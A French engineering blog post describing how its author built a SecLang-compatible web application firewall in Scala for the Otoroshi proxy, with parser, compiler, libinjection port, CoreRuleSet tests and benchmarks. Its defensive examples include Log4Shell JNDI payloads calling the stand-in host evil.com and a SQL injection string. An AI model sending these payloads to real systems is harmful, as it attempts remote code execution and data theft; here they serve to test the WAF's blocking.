# Construire un WAF natif pour la JVM : du WASM au pur Scala

> Comment j'ai passé mes vacances de Noël à construire, (presque) de zéro, un Web Application Firewall compatible SecLang

- URL: https://blog.cloud-apim.com/construire-un-waf-natif-jvm-du-wasm-au-scala
- Published: 2026-02-03
- Language: fr
- Authors: Mathieu Ancelin
- Topics: CRS, CoreRuleSet, SecLang, Scala, JVM, WAF, OWASP, Pare-feu applicatif, Sécurité, ModSecurity
- Publisher: Cloud APIM (https://www.cloud-apim.com)

---
Depuis deux ans, [Otoroshi](https://www.otoroshi.io/) dispose d'un Web Application Firewall propulsé par [Coraza](https://coraza.io/), l'excellente implémentation de ModSecurity écrite en Go. Pour y parvenir, nous avions compilé Coraza en WebAssembly (wasm) et nous l'exécutions dans Otoroshi grâce à [wasm4s](https://github.com/MAIF/wasm4s), notre orchestrateur de machines virtuelles wasm. Cela fonctionnait vraiment très bien, surtout avec peu de configurations de WAF. Mais à mesure que le nombre de configurations de WAF et d'instances de VM WASM concurrentes montait à plusieurs centaines, les premières fissures sont apparues. À cause de la nature stateful de l'intégration WASM de Coraza, une configuration (une liste d'instructions SecLang, généralement différente pour chaque tenant) est liée à une VM WASM. Impossible d'initialiser une VM WASM générique puis de lui injecter dynamiquement une configuration différente à chaque évaluation. Forcément, avec des centaines de configurations possibles, la mémoire a explosé, la latence a augmenté et les configurations sont devenues ingérables.

Voici comment j'ai construit un moteur SecLang complet en Scala pendant mes vacances de Noël (enfin, vous voyez, une fois les enfants couchés !), pourquoi je l'ai fait, et tous les défis techniques rencontrés en chemin.

## Le problème des WAF basés sur WASM

Avant de plonger dans la solution, laissez-moi expliquer pourquoi nous en avions besoin.

Notre intégration de Coraza en WASM souffrait de plusieurs défauts :

1. **Exécution mono-thread** : WASM est par nature mono-thread. Pour traiter des requêtes concurrentes, nous devions démarrer plusieurs machines virtuelles WASM par configuration de WAF.
    
2. **Empreinte mémoire** : chaque instance WASM charge un binaire d'environ 20 Mo. Multipliez cela par le nombre d'instances nécessaires pour le multi-tenant et la concurrence, et la consommation mémoire grimpe très vite.
    
3. **Coût de sérialisation** : chaque requête devait être sérialisée depuis des objets JVM vers des structures compatibles WASM, traitée, puis désérialisée en retour. À grande échelle, ce ballet de sérialisation est devenu un goulot d'étranglement mesurable.
    
4. **Duplication de la configuration** : chaque instance WASM avait besoin de sa propre copie des règles. Aucun partage, aucun cache, aucune composition.
    

En bref : WASM a réglé la question de la portabilité, mais a révélé des limites de scalabilité dans notre modèle de configuration multi-tenant, très spécifique, chez [Cloud APIM](https://www.cloud-apim.com/fr). Il nous fallait une implémentation native pour la JVM : thread-safe, économe en mémoire, et conçue pour des environnements multi-tenant où les configurations peuvent être partagées et composées. À cette échelle, le facteur limitant n'était pas WebAssembly en lui-même, mais la façon dont les environnements d'exécution et les configurations étaient couplés.

## Comprendre le paysage : ModSecurity, SecLang et CoreRuleSet

Avant d'expliquer comment j'ai construit la solution, faisons un rapide tour de l'écosystème pour partir sur les mêmes bases.

### ModSecurity : le grand-père des WAF

[ModSecurity](https://github.com/owasp-modsecurity/ModSecurity) est le Web Application Firewall open source le plus déployé. Créé à l'origine pour Apache en 2002, il est ensuite devenu une bibliothèque autonome qui peut être embarquée dans n'importe quel serveur web ou proxy.

ModSecurity ne bloque pas les attaques à lui seul : il fournit le *moteur*. Vous lui donnez des règles, et il évalue les requêtes entrantes au regard de ces règles.

### SecLang : le langage de règles

[SecLang](https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-%28v3.x%29) (ou « SecRule Language ») est le langage dédié utilisé pour écrire les règles ModSecurity. C'est devenu un standard de fait : pratiquement toutes les implémentations de WAF sérieuses comprennent les règles SecLang.

Voici à quoi ressemble une règle SecLang typique :

```plaintext
SecRule REQUEST_HEADERS:User-Agent "@pm firefox chrome safari" \
    "id:1001,\
    phase:1,\
    pass,\
    t:none,t:lowercase,\
    msg:'Browser detected',\
    tag:'browser-detection'"
```

Décortiquons-la :

* `SecRule` : la directive qui définit une règle
    
* `REQUEST_HEADERS:User-Agent` : la variable à inspecter (l'en-tête HTTP User-Agent)
    
* `@pm firefox chrome safari` : l'opérateur (`@pm` = phrase match, vérifie si l'un des mots apparaît)
    
* `id:1001` : l'identifiant unique de la règle
    
* `phase:1` : le moment de l'exécution (phase 1 = après réception des en-têtes)
    
* `pass` : l'action à effectuer en cas de correspondance (poursuivre le traitement)
    
* `t:none,t:lowercase` : les transformations à appliquer avant la comparaison
    
* `msg:'...'` : le message journalisé quand la règle correspond
    
* `tag:'...'` : un tag de catégorisation
    

SecLang prend en charge cinq phases d'exécution :

| Phase | Nom | Quand |
| --- | --- | --- |
| 1 | En-têtes de requête | Après réception des en-têtes de la requête |
| 2 | Corps de requête | Après réception du corps de la requête |
| 3 | En-têtes de réponse | Après réception des en-têtes de la réponse |
| 4 | Corps de réponse | Après réception du corps de la réponse |
| 5 | Journalisation | Avant la journalisation |

### OWASP CoreRuleSet : le standard du secteur

L'[OWASP CoreRuleSet (CRS)](https://coreruleset.org/) est un ensemble complet de règles SecLang qui protège contre les attaques web courantes :

* Injection SQL
    
* Cross-Site Scripting (XSS)
    
* Local File Inclusion (LFI)
    
* Exécution de code à distance
    
* Violations de protocole
    
* Et des dizaines d'autres catégories
    

Le CRS a fait ses preuves sur le terrain, il est régulièrement mis à jour et il est utilisé par les grands CDN et éditeurs de WAF du monde entier. Toute implémentation sérieuse de SecLang doit être compatible avec le CRS.

La version actuelle (CRS 4.x) contient plus de 600 règles, organisées en catégories comme :

```plaintext
REQUEST-911-METHOD-ENFORCEMENT.conf
REQUEST-913-SCANNER-DETECTION.conf
REQUEST-920-PROTOCOL-ENFORCEMENT.conf
REQUEST-930-APPLICATION-ATTACK-LFI.conf
REQUEST-932-APPLICATION-ATTACK-RCE.conf
REQUEST-933-APPLICATION-ATTACK-PHP.conf
REQUEST-941-APPLICATION-ATTACK-XSS.conf
REQUEST-942-APPLICATION-ATTACK-SQLI.conf
REQUEST-949-BLOCKING-EVALUATION.conf
...
```

> Pour résumer : ModSecurity est le moteur, SecLang est le langage, et le CRS est la base de connaissances.

## Le projet de Noël commence

C'était fin décembre, et je cherchais un projet perso amusant. Le problème du WAF me trottait dans la tête depuis des mois (peut-être des années), mais je m'étais toujours convaincu que c'était trop complexe. Rien que le parser SecLang ressemblait à une montagne. J'avais déjà essayé plusieurs approches avec les [scala parser combinators](https://github.com/scala/scala-parser-combinators), [fastparse](https://github.com/com-lihaoyi/fastparse), et même des expressions régulières, mais rien ne fonctionnait à 100 %.

Puis je suis tombé sur [seclang\_parser](https://github.com/coreruleset/seclang_parser) : une grammaire ANTLR pour SecLang, maintenue par l'équipe du CoreRuleSet. D'un coup, la montagne ressemblait plutôt à une colline.

Voici l'architecture globale à laquelle j'ai abouti :

![](https://blog.cloud-apim.com/_astro/01-60c979.BWyrS1Ca_brFxu.webp)

L'idée clé : la compilation a lieu une seule fois, l'évaluation a lieu à chaque requête. Passons en revue chaque composant.

## Partie 1 : le parser

### ANTLR à la rescousse

[ANTLR](https://www.antlr.org/) (Another Tool for Language Recognition) est un générateur de parsers qui lit des fichiers de grammaire et produit des parsers dans différents langages cibles. À partir d'un fichier de grammaire `.g4`, ANTLR génère un lexer, un parser et des classes visitor/listener.

J'ai pris la grammaire de seclang\_parser et généré le code Java :

```bash
antlr4 -visitor -package com.cloud.apim.seclang.antlr SecLangLexer.g4 SecLangParser.g4
```

Cela m'a donné une base solide, mais ANTLR ne s'occupe que de la syntaxe : il me restait à construire l'AST (Abstract Syntax Tree, l'arbre syntaxique abstrait).

### Construire le visitor de l'AST

ANTLR utilise le pattern visitor. Vous étendez la classe générée `SecLangParserBaseVisitor` et implémentez une méthode pour chaque règle de grammaire qui vous intéresse.

```scala
class AstBuilderVisitor extends SecLangParserBaseVisitor[Any] {

  override def visitConfiguration(ctx: ConfigurationContext): Configuration = {
    val statements = ctx.statement().asScala.flatMap { stmtCtx =>
      Option(visitStmt(stmtCtx)).collect { case s: Statement => s }
    }.toList
    Configuration(statements)
  }

  override def visitSecRule(ctx: SecRuleContext): SecRule = {
    val variables = visitVariables(ctx.variables())
    val operator = visitOperator(ctx.operator())
    val actions = Option(ctx.actions()).map(visitActions)
    SecRule(None, variables, operator, actions, ctx.getText)
  }

  // ... hundreds more visitor methods
}
```

Le point d'entrée du parser est simple :

```scala
object AntlrParser {
  def parse(input: String): Either[String, Configuration] = {
    val lexer = new SecLangLexer(CharStreams.fromString(input))
    val tokens = new CommonTokenStream(lexer)
    val parser = new SecLangParser(tokens)

    val errorListener = new CollectingErrorListener()
    parser.removeErrorListeners()
    parser.addErrorListener(errorListener)

    val tree = parser.configuration()

    if (errorListener.hasErrors) {
      Left(errorListener.getErrors.mkString("\n"))
    } else {
      val visitor = new AstBuilderVisitor()
      Right(visitor.visitConfiguration(tree))
    }
  }
}
```

C'était la base. Avec l'aide de mon ami Claude, j'ai pu écrire toutes les méthodes du visitor et gérer les bizarreries de la syntaxe SecLang. Le visitor du parser fait à lui seul environ 400 lignes de Scala (adossées à 11 000 lignes de Java générées par ANTLR).

## Partie 2 : le compilateur

Une fois l'AST en main, il fallait le transformer en quelque chose d'exécutable. Avec le temps, il est devenu évident qu'un moteur SecLang tient moins du filtrage de requêtes que de l'interprétation d'un langage de programmation dédié à la sécurité, sous de fortes contraintes de performances. Le rôle du compilateur est de :

1. **Résoudre les chaînes de règles** : SecLang permet de chaîner des règles avec l'action `chain` ; si la première règle correspond, on vérifie la deuxième, et ainsi de suite.
    
2. **Organiser par phase** : regrouper les règles par phase d'exécution pour un traitement efficace.
    
3. **Gérer les suppressions de règles** : traiter `SecRuleRemoveById`, `SecRuleRemoveByTag`, etc.
    
4. **Indexer les marqueurs** : pour les actions `skipAfter`, précalculer la position des marqueurs.
    
5. **Précompiler les regex** : compiler les expressions régulières une seule fois, et non à chaque évaluation.
    

Voici une vue simplifiée de la logique de résolution des chaînes :

```scala
def compileChains(rules: List[SecRule]): List[RuleChain] = {
  var chains = ListBuffer[RuleChain]()
  val current = ListBuffer[SecRule]()

  for (rule <- rules) {
    current += rule
    if (!rule.isChain) {
      // Chain complete, emit it
      chains += RuleChain(current.toList)
      current.clear()
    }
  }

  chains.toList
}
```

Le compilateur produit un `CompiledProgram` :

```scala
case class CompiledProgram(
  chains: Map[Int, List[RuleChain]],   // phase -> chains
  markers: Map[String, Int],           // marker name -> index
  mode: EngineMode                     // On, Off, or DetectionOnly
)
```

## Partie 3 : le moteur d'exécution

C'est ici que se fait le vrai travail. Le moteur évalue un `CompiledProgram` sur un `RequestContext` et renvoie une disposition (continuer ou bloquer).

### La boucle principale

Voici une vue simplifiée de la logique de la boucle principale :

```scala
def evaluate(ctx: RequestContext, phases: List[Int]): EngineResult = {
  var state = RuntimeState.initial(program.mode)

  for (phase <- phases if state.shouldContinue) {
    for (chain <- program.chains.getOrElse(phase, Nil)) {
      val result = evaluateChain(chain, ctx, state)
      state = result.state

      result.disposition match {
        case Disposition.Block(status, msg, ruleId) =>
          // Early exit
          return EngineResult(
            Disposition.Block(status, msg, ruleId), 
            state
          )
        case Disposition.Continue =>
          // Keep going
      }
    }
  }

  EngineResult(Disposition.Continue, state)
}
```

### Variables, transformations, opérateurs, actions

Le moteur implémente quatre composants clés, qui suivent tous le même modèle : du pattern matching Scala sur l'AST.

* **Variables** (plus de 30) : elles extraient des données de la requête (`REQUEST_URI`, `REQUEST_HEADERS`, `ARGS`, `COOKIES`, etc.). Elles permettent d'accéder aux collections par clé ou avec des sélecteurs regex comme `REQUEST_HEADERS:/^X-Custom-/`.
    
* **Transformations** (plus de 25) : elles normalisent les valeurs avant la comparaison (`lowercase`, `urlDecode`, `base64Decode`, `htmlEntityDecode`, `removeWhitespace`, etc.). Elles peuvent être chaînées : `t:lowercase,t:urlDecode`.
    
* **Opérateurs** (plus de 15) : ils effectuent la comparaison proprement dite (`@rx` pour les regex, `@pm` pour le phrase match, `@contains`, `@beginsWith`, `@ipMatch`, `@detectSQLi`, `@detectXSS`, etc.).
    
* **Actions** : elles s'exécutent en cas de correspondance (`block`, `pass`, `deny`, `setvar` pour les variables TX, `skip`, `skipAfter` pour le contrôle de flux, etc.).
    

Voici un aperçu de l'implémentation des opérateurs :

```scala
def matchOperator(op: Operator, value: String): Boolean = op match {
  case Operator.Rx(pattern) => RegexPool.regex(pattern).findFirstIn(value).isDefined
  case Operator.Pm(phrases) => phrases.exists(p => value.toLowerCase.contains(p.toLowerCase))
  case Operator.Contains(s) => value.contains(s)
  case Operator.IpMatch(ranges) => ranges.exists(_.contains(InetAddress.getByName(value)))
  // ... etc
}
```

## Partie 4 : le défi libinjection

En implémentant les opérateurs, je me suis heurté à un mur : SecLang inclut les opérateurs `@detectSQLi` et `@detectXSS`, qui s'appuient sur [libinjection](https://github.com/libinjection/libinjection), une bibliothèque C de détection des injections SQL et des attaques XSS. Il n'en existait aucun portage en Java ou en Scala. J'avais donc deux options :

* abandonner
    
* ou porter en Java une bibliothèque de sécurité C de 4 000 lignes
    

Devinez laquelle j'ai choisie.

libinjection utilise une technique astucieuse : plutôt que des expressions régulières, elle *tokenise* l'entrée et génère une « empreinte » (fingerprint), comparée ensuite à des motifs d'attaque connus. Par exemple, l'entrée SQL `1' OR '1'='1` est découpée en tokens et réduite à `[s, &, s]` (chaîne, opérateur booléen, chaîne), puis comparée à plus de 9 000 empreintes d'injection SQL connues. La détection XSS fonctionne de façon similaire, en s'appuyant sur la tokenisation HTML5 pour repérer les balises, les attributs et les schémas d'URL dangereux.

Le portage a demandé un effort considérable : le code C d'origine dépasse les 4 000 lignes, avec beaucoup d'arithmétique de pointeurs. L'aide de mon ami Claude a été précieuse ici, pour traduire les idiomes et repérer les cas limites. Le résultat, c'est [libinjection-jvm](https://github.com/cloud-apim/libinjection-jvm), une bibliothèque Java sans aucune dépendance, entièrement compatible avec la suite de tests d'origine.

## Partie 5 : la suite de tests du CoreRuleSet

Construire le moteur était une chose. Prouver qu'il fonctionnait en était une autre.

Le projet CoreRuleSet inclut une [suite de tests](https://github.com/coreruleset/coreruleset/tree/main/tests/regression/tests) complète, avec plus de 4 000 tests au format YAML :

```yaml
- test_id: 1
  desc: "Test SQL injection detection"
  stages:
    - input:
        method: "GET"
        uri: "/test?id=1' OR '1'='1"
      output:
        log:
          expect_ids: [942100]
```

J'ai écrit un test runner qui :

1. Analyse les définitions de tests YAML
    
2. Construit des objets `RequestContext` à partir des entrées des tests
    
3. Exécute le moteur avec les règles du CRS
    
4. Vérifie le résultat attendu (bloqué ou autorisé)
    

La suite de tests du CRS s'est révélée être autant une spécification du comportement attendu qu'un outil de validation.

Premier lancement : **40 % de réussite**, puis, après quelques heures de corrections simples : **60 % de réussite**.

Alors a commencé le marathon du débogage. Certains échecs venaient de bugs du moteur. D'autres, de bugs du test runner. Quelques-uns, de ma mauvaise compréhension de la sémantique de SecLang.

```plaintext
Test: 942100-1
Expected: BLOCKED
Got: ALLOWED
Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... "@rx (?i)..." ...
Issue: Regex flag handling in negative lookahead
```

Un par un, j'ai corrigé les problèmes :

* Flags de regex mal propagés
    
* Sémantique d'incrémentation des variables TX
    
* Logique de court-circuit dans l'évaluation des chaînes
    
* Ordre des transformations
    
* Sensibilité à la casse dans la comparaison des en-têtes
    
* Règles de phase 5, censées seulement journaliser, qui bloquaient à tort
    

Cette partie a été de véritables montagnes russes émotionnelles : certains correctifs ne réparaient qu'un seul test, d'autres en réparaient environ 200 d'un coup. Mais au bout d'une semaine de travail : **100 % de réussite sur 4 138 tests**.

```json
{
  "global_stats": {
    "passing_percentage": 100,
    "total_tests": 4174,
    "success_tests": 4174,
    "failure_tests": 0
  },
  "time_stats": {
    "total_time_ms": 25945,
    "avg_time_ms": 6,
    "min_time_ms": 1,
    "max_time_ms": 4242
  }
}
```

### Le problème d'Apache

Voici une chose que je n'avais pas anticipée : la suite de tests officielle du CRS a été conçue pour tester ModSecurity + CRS tournant dans Apache, dans un conteneur Docker. Le harnais de test envoie de vraies requêtes HTTP au conteneur et vérifie les réponses.

Le problème ? Certains tests ne testaient pas vraiment le comportement du WAF : ils testaient celui d'Apache. Par exemple, Apache rejette certaines requêtes malformées (caractères invalides dans les URI, lignes HTTP malformées) *avant* même qu'elles n'atteignent ModSecurity. Le test attendait un blocage, mais ce blocage venait d'Apache, pas des règles du CRS.

En lançant ces mêmes tests sur un moteur SecLang pur, sans Apache devant, ils échouaient : non pas parce que mon moteur se trompait, mais parce que le test supposait le prétraitement d'Apache.

Comme mon test runner évalue les règles directement (sans reverse proxy), j'ai dû identifier ces cas et modifier les critères d'acceptation. Au lieu de vérifier que le serveur répond avec un statut 400 (ce qui serait l'œuvre d'Apache), j'ai modifié les tests pour vérifier qu'une règle précise du CRS avait bien été déclenchée. Même entrée malveillante, mais on teste désormais le vrai comportement du WAF. Ce travail pourrait profiter au projet CRS en amont, pour tous ceux qui construisent des implémentations alternatives de SecLang.

## Partie 6 : le pattern factory pour le multi-tenant

Chez Cloud APIM, nous faisons tourner une infrastructure multi-tenant. Plusieurs clients peuvent partager des instances Otoroshi (ou utiliser les leurs), chacun avec ses propres configurations de WAF. Il nous fallait :

1. **Des règles de base partagées** : le CRS chargé une seule fois, partagé entre tous les tenants
    
2. **Une personnalisation par tenant** : chaque tenant peut ajouter ou retirer des règles
    
3. **Un cache efficace** : les programmes compilés sont mis en cache et réutilisés
    

En pratique, le multi-tenant a tendance à faire de la configuration un enjeu de scalabilité à part entière, au même titre que le CPU et la mémoire.

La solution : un pattern factory avec des presets.

```scala
// Define reusable presets
val presets = Map(
  "crs" -> SecLangPreset.fromResources("crs",
    "/coreruleset/crs-setup.conf.example",
    "/coreruleset/rules/*.conf"
  )
)

// Create factory
val factory = SecLang.factory(presets)

// Tenant-specific configuration
val tenantRules = List(
  "@import_preset crs",
  """SecRuleRemoveById 942100""",  // Disable specific rule
  """SecRule REQUEST_URI "@contains /health" "id:10001,phase:1,allow,nolog" """,
  "SecRuleEngine On"
)

// Get compiled engine (cached)
val engine = factory.engine(tenantRules)
```

La factory :

* Compile une seule fois chaque configuration de règles unique
    
* Met en cache les instances de `CompiledProgram` avec un TTL configurable
    
* Permet la composition de règles grâce à l'import de presets
    
* Est thread-safe pour les accès concurrents
    

## Partie 7 : l'intégration dans Otoroshi

La dernière pièce : intégrer le moteur dans [Otoroshi](https://github.com/MAIF/otoroshi) sous forme d'extension. Otoroshi est un reverse proxy HTTP open source écrit en Scala, que j'ai créé il y a plusieurs années. L'un des grands atouts d'Otoroshi, c'est son extensibilité : vous pouvez facilement écrire et utiliser vos propres plugins et extensions.

### L'entité de configuration du WAF

Avec cette extension, une nouvelle entité permet de configurer le comportement du WAF (ce n'est pas à proprement parler une instance de WAF, mais vous voyez l'idée). Un point important ici : la possibilité d'activer ou non l'inspection des corps. Par conception, Otoroshi ne charge pas les corps des requêtes et des réponses en mémoire : il les traite en streaming. Il y a donc un compromis : activer l'inspection des corps rend Otoroshi un peu plus lent et plus gourmand en RAM, mais permet au WAF de détecter les attaques cachées dans les payloads.

```scala
case class CloudApimWafConfig(
  id: String,
  name: String,
  enabled: Boolean = true,
  block: Boolean = true,              // Block vs. monitor-only
  inspectInputBody: Boolean = true,
  inspectOutputBody: Boolean = true,
  inputBodyLimit: Option[Long] = None,
  outputBodyLimit: Option[Long] = None,
  outputBodyMimetypes: Seq[String] = Seq.empty,
  rules: Seq[String] = Seq.empty
)
```

Exemple de configuration :

```json
{
  "id": "waf-config_production",
  "name": "Production WAF",
  "enabled": true,
  "block": true,
  "inspect_input_body": true,
  "inspect_output_body": true,
  "input_body_limit": 1048576,
  "output_body_limit": 1048576,
  "output_body_mimetypes": ["text/html", "application/json"],
  "rules": [
    "@import_preset crs",
    "SecRuleRemoveById 942100",
    "SecRuleEngine On"
  ]
}
```

### Le plugin

Le plugin s'insère dans le pipeline requête/réponse d'Otoroshi :

```scala
class CloudApimWaf extends NgRequestTransformer {

  override def transformRequest(ctx: NgTransformerRequestContext): Future[Either[Result, NgPluginHttpRequest]] = {
    val wafConfig = getConfig(ctx)
    val engine = ext.factory.engine(wafConfig.rules.toList)

    val requestCtx = buildRequestContext(ctx.request, ctx.body)
    val result = engine.evaluate(requestCtx, List(1, 2, 5))

    result.disposition match {
      case Disposition.Continue =>
        ctx.otoroshiRequest.rightf

      case Disposition.Block(status, msg, ruleId) if wafConfig.block =>
        emitEvent(result, ctx)
        Results.Status(status)(buildErrorResponse(msg, ruleId)).leftf

      case Disposition.Block(_, _, _) =>
        // Monitor mode - log but don't block
        emitEvent(result, ctx)
        ctx.otoroshiRequest.rightf
    }
  }

  override def transformResponse(ctx: NgTransformerResponseContext): Future[Either[Result, NgPluginHttpResponse]] = {
    // Similar logic for response phases (3, 4, 5)
  }
}
```

## Performances

Après toutes les optimisations, voici comment l'implémentation native se compare à notre précédente solution basée sur WASM :

| Métrique | WASM (Coraza) | Natif (seclang-engine) |
| --- | --- | --- |
| Mémoire par configuration | ~20 Mo/instance | ~20 Ko/instance + ~2 Mo (CRS partagé) |
| Modèle de concurrence | Plusieurs VM nécessaires | Un moteur par requête, une seule instance par config., thread-safe |
| Partage des règles | Aucun (dupliquées dans chaque VM) | Partage complet via les presets |
| Coût de sérialisation | JVM ↔ WASM à chaque requête | Nul (objets natifs) |
| Temps de démarrage | ~1 500 ms par VM | ~800 ms, une seule fois, pour parser et compiler le CRS + ~10 ms par config. non mise en cache |

Et voici les chiffres bruts :

| Métrique | Valeur |
| --- | --- |
| Évaluation du CRS sur une requête/réponse légitime | environ 8 ms |
| Évaluation du CRS sur une requête suspecte | environ 3 ms pour une attaque Log4Shell |
| Compilation des regex | Mise en cache, réutilisation sans coût |

Par rapport à notre configuration basée sur WASM, le moteur natif :

* consomme environ 1 000 fois moins de mémoire par configuration,
    
* supprime le coût de sérialisation,
    
* passe naturellement à l'échelle avec les threads de la JVM,
    
* permet un véritable multi-tenant.
    

Voici un test typique, lancé sur mon MacBook Pro début 2024 (M3 Pro), avec `oha` et une requête légitime, à 500 appels/s pendant 1 minute :

```sh
$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: foo' 

Summary:
  Success rate:	100.00%
  Total:	60004.7775 ms
  Slowest:	26.1541 ms
  Fastest:	2.2883 ms
  Average:	2.9967 ms
  Requests/sec:	500.0102

  Total data:	175.78 KiB
  Size/request:	6 B
  Size/sec:	2.93 KiB

Response time histogram:
   2.288 ms [1]     |
   4.675 ms [28740] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
   7.061 ms [961]   |■
   9.448 ms [221]   |
  11.835 ms [41]    |
  14.221 ms [17]    |
  16.608 ms [9]     |
  18.994 ms [2]     |
  21.381 ms [3]     |
  23.768 ms [3]     |
  26.154 ms [1]     |

Response time distribution:
  10.00% in 2.4673 ms
  25.00% in 2.5795 ms
  50.00% in 2.7420 ms
  75.00% in 3.0413 ms
  90.00% in 3.6479 ms
  95.00% in 4.4046 ms
  99.00% in 7.0370 ms
  99.90% in 12.2985 ms
  99.99% in 23.6878 ms


Details (average, fastest, slowest):
  DNS+dialup:	0.2206 ms, 0.1046 ms, 1.5284 ms
  DNS-lookup:	0.0247 ms, 0.0045 ms, 0.4549 ms

Status code distribution:
  [200] 29999 responses
```

Et maintenant, le même test avec une requête contenant une attaque Log4Shell :

```sh
$ oha -q 500 -c 200 -z 1m http://cawaf.oto.tools:9999 -H 'apk: ${jndi:ldap://evil.com/a}'

Summary:
  Success rate: 100.00%
  Total:  60003.4310 ms
  Slowest:  43.2109 ms
  Fastest:  1.9636 ms
  Average:  9.6649 ms
  Requests/sec: 499.9881

  Total data: 615.21 KiB
  Size/request: 21 B
  Size/sec: 10.25 KiB

Response time histogram:
    1.964 ms [1]     |
    4.508 ms [28517] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    8.213 ms [1303]  |■
   13.338 ms [37]    |
   17.463 ms [73]    |
   21.587 ms [41]    |
   26.712 ms [25]    |
   30.837 ms [0]     |
   34.961 ms [0]     |
   39.086 ms [0]     |
   43.211 ms [2]     |

Response time distribution:
  10.00% in 2.2964 ms
  25.00% in 2.3817 ms
  50.00% in 2.5813 ms
  75.00% in 4.0106 ms
  90.00% in 3.5270 ms
  95.00% in 4.7680 ms
  99.00% in 6.6709 ms
  99.90% in 21.6669 ms
  99.99% in 25.4090 ms


Details (average, fastest, slowest):
  DNS+dialup: 0.9616 ms, 0.0578 ms, 4.4482 ms
  DNS-lookup: 0.0190 ms, 0.0028 ms, 1.4588 ms

Status code distribution:
  [400] 29999 responses
```

Les optimisations clés :

1. **RegexPool** : les motifs précompilés sont mis en cache, avec leur chaîne comme clé
    
2. **Sortie anticipée** : le traitement s'arrête à la première disposition de blocage
    
3. **Règles organisées par phase** : seules les règles de la phase en cours sont chargées
    
4. **Programmes immuables** : compilés une fois, partagés sans risque entre les threads
    
5. **TrieMap pour les variables TX** : thread-safe, sans verrou
    

## Ce qui n'est pas (encore) implémenté

Par souci de transparence : toutes les fonctionnalités de SecLang n'ont pas été retenues. Les manques se répartissent en trois catégories :

1. **Vestiges du passé** : les transformations de bit de parité (`parityEven7bit`, etc.), héritées de l'époque des modems. Aucun cas d'usage moderne.
    
2. **Dépendances externes** : `@geoLookup` (nécessite la base MaxMind), `@rbl` (requêtes DNS), les variables `SESSION` (nécessitent un stockage de sessions). Elles ajoutent de la latence et de la complexité, et sont mieux prises en charge par des composants d'infrastructure dédiés. Otoroshi a de toute façon son propre plugin GeoIP.
    
3. **Validation propre à un domaine** : `@verifyCC`, `@verifyCPF`, `@verifySSN` pour les cartes bancaires et les identifiants fiscaux. Ils ne sont pas utilisés par le CRS et rarement nécessaires pour la sécurité des API.
    

Les 100 % de réussite sur les 4 138 tests du CRS prouvent que tout ce qu'il faut pour une protection en conditions réelles est là. Et si vous avez besoin de quelque chose de sur-mesure, le trait `SecLangIntegration` vous permet de brancher vos propres implémentations sans forker le moteur.

## Bien démarrer avec seclang-engine

Envie de l'essayer vous-même ? Voici un exemple minimal qui montre comment utiliser la bibliothèque dans votre projet Scala.

Commencez par ajouter la dépendance dans votre `build.sbt` :

```scala
libraryDependencies += "com.cloud-apim" %% "seclang-engine" % "1.5.0"
```

Puis voici un exemple complet et fonctionnel :

```scala
import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.SecLang

object WafExample extends App {

  // 1. Define your SecLang rules
  val rules = """
    |SecRule REQUEST_HEADERS:User-Agent "@pm firefox" \
    |    "id:1001,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Firefox browser blocked',\
    |    status:403,\
    |    severity:'CRITICAL'"
    |
    |SecRule REQUEST_URI "@contains /admin" \
    |    "id:1002,\
    |    phase:1,\
    |    block,\
    |    t:none,t:lowercase,\
    |    msg:'Admin access denied',\
    |    status:403"
    |
    |SecRuleEngine On
    |""".stripMargin

  // 2. Parse the rules into an AST
  val configuration = SecLang.parse(rules) match {
    case Left(error) => sys.error(s"Parse error: $error")
    case Right(config) => config
  }

  // 3. Compile the AST into an executable program
  val program = SecLang.compile(configuration)

  // 4. Create the engine
  val engine = SecLang.engine(program)

  // 5. Build a request context to evaluate
  val request = RequestContext(
    method = "GET",
    uri = "/api/users",
    headers = Headers(Map(
      "User-Agent" -> List("Mozilla/5.0 Chrome/120.0"),
      "Host" -> List("example.com")
    )),
    query = Map("page" -> List("1"))
  )

  // 6. Evaluate the request against phases 1 and 2
  val result = engine.evaluate(request, phases = List(1, 2))

  // 7. Check the result
  result.disposition match {
    case Disposition.Continue =>
      println("Request allowed")
    case Disposition.Block(status, msg, ruleId) =>
      println(s"Request blocked! Status: $status, Rule: $ruleId, Message: $msg")
  }
}
```

Cet exemple :

* Définit deux règles simples : l'une bloque les navigateurs Firefox, l'autre bloque l'accès à `/admin`
    
* Parse les règles avec ANTLR sous le capot
    
* Les compile en un programme optimisé
    
* Crée une instance du moteur (thread-safe, réutilisable)
    
* Évalue une requête d'exemple et vérifie si elle doit être bloquée
    

Pour un usage en production avec l'OWASP CoreRuleSet, vous pouvez utiliser le pattern factory avec des presets :

```scala
import com.cloud.apim.seclang.model._
import com.cloud.apim.seclang.scaladsl.{SecLang, SecLangPresets}

// Create a factory with CRS preset
val factory = SecLang.factory(Map("crs" -> SecLangPresets.coreruleset))

// Get an engine with CRS rules + custom exclusions
val engine = factory.engine(List(
  "@import_preset crs",           // Import all CRS rules
  "SecRuleRemoveById 942100",     // Disable a specific rule
  "SecRuleEngine On"
))

// The factory caches compiled programs, so subsequent calls
// with the same rules return the cached engine instantly

// Test with a malicious request (Log4Shell attack)
val maliciousRequest = RequestContext(
  method = "GET",
  uri = "/api/search",
  headers = Headers(Map(
    "User-Agent" -> List("Mozilla/5.0"),
    "Host" -> List("example.com"),
    "X-Api-Key" -> List("${jndi:ldap://evil.com/exploit}")  // Log4Shell payload
  ))
)

val result = engine.evaluate(maliciousRequest, phases = List(1, 2))

result.disposition match {
  case Disposition.Continue =>
    println("Request allowed")
  case Disposition.Block(status, msg, ruleId) =>
    println(s"Attack blocked! Rule $ruleId: $msg")
    // Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell
}
```

## Open source

Tout ce travail est open source :

* [**seclang-engine**](https://github.com/cloud-apim/seclang-engine) : le parser, le compilateur et le moteur d'exécution SecLang
    
* [**seclang-engine-coreruleset**](https://github.com/cloud-apim/seclang-engine-coreruleset) : un wrapper qui embarque le CRS
    
* [**libinjection-jvm**](https://github.com/cloud-apim/libinjection-jvm) : le portage Java de libinjection
    
